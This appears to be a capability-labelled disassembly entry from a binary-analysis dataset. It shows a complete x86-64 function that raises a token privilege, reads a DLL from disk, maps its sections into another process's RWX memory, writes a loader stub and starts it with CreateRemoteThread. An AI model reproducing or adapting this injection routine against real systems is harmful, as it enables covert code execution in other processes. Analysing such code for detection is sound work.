Function at 0x180031a90
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Inject thread
Parse pe header
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x130
mov rax, qword [0x1802bb7b8]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x90], 0
cmp dword [rsp + 0x140], 0
jne 0x180031ad3
mov eax, 1
jmp 0x18003229b
lea r8, [rsp + 0xa0]
mov edx, 0x28
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180031b77
mov dword [rsp + 0x108], 1
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x114], 2
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x10c], 0x14
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x110], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x108]
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x80000000
mov rcx, qword [rsp + 0x148]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0xffffffffffffffff
jne 0x180031bc3
mov eax, 2
jmp 0x18003229b
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x180031c10
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 3
jmp 0x18003229b
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x118]
mov r8d, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180031c62
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 4
jmp 0x18003229b
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180031ca9
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 5
jmp 0x18003229b
mov rax, qword [rsp + 0x88]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
cmp dword [rax], 0x4550
je 0x180031cef
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 6
jmp 0x18003229b
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + 0x16]
and eax, 0x2000
test eax, eax
jne 0x180031d1e
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 7
jmp 0x18003229b
lea r9, [rsp + 0x11c]
mov r8d, dword [rsp + 0x140]
xor edx, edx
mov ecx, 0x1fffff
call sym.VisualLibrary.dll_xHunter_OpenProcess
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0xffffffffffffffff
je 0x180031d4f
cmp qword [rsp + 0x40], 0
jne 0x180031d77
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 8
jmp 0x18003229b
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x180031dd2
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 9
jmp 0x18003229b
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180031e40
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0xa
jmp 0x18003229b
mov rax, qword [rsp + 0x60]
add rax, 0x108
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x50], 0
jmp 0x180031e67
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x50], eax
jae 0x180031ee8
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x80]
mov eax, dword [rcx + rax + 0x10]
mov ecx, dword [rsp + 0x50]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x80]
mov ecx, dword [rdx + rcx + 0x14]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov edx, dword [rsp + 0x50]
imul rdx, rdx, 0x28
mov r8, qword [rsp + 0x80]
mov edx, dword [r8 + rdx + 0xc]
mov r8, qword [rsp + 0x58]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x180031e5d
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
jne 0x180031f5d
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0xb
jmp 0x18003229b
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x88]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0], rax
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8], rax
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0], rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xd8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0x22222222
mov qword [rsp + 0xf0], 0x33333333
mov eax, dword [0x1802bff84]
cmp dword [rsp + 0x140], eax
jne 0x180032061
lea rcx, [rsp + 0xb0]
call fcn.18002b810
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x90], rax
jmp 0x180032280
mov qword [rsp + 0x20], 0
mov r9d, 0x48
lea r8, [rsp + 0xb0]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [0x18003bde0]
lea rcx, [0x18003bac0]
sub rax, rcx
mov rcx, qword [rsp + 0x98]
add rcx, 0x48
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x18003bac0]
mov rdx, rcx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x98]
add rax, 0x51
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x98]
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x98]
add rax, 0x48
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x20], rcx
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x1800321a1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0xc
jmp 0x18003229b
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x100]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [rsp + 0x100], 0
jne 0x180032233
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0xd
jmp 0x18003229b
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90], rax
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.18004e560
add rsp, 0x130
pop rdi
ret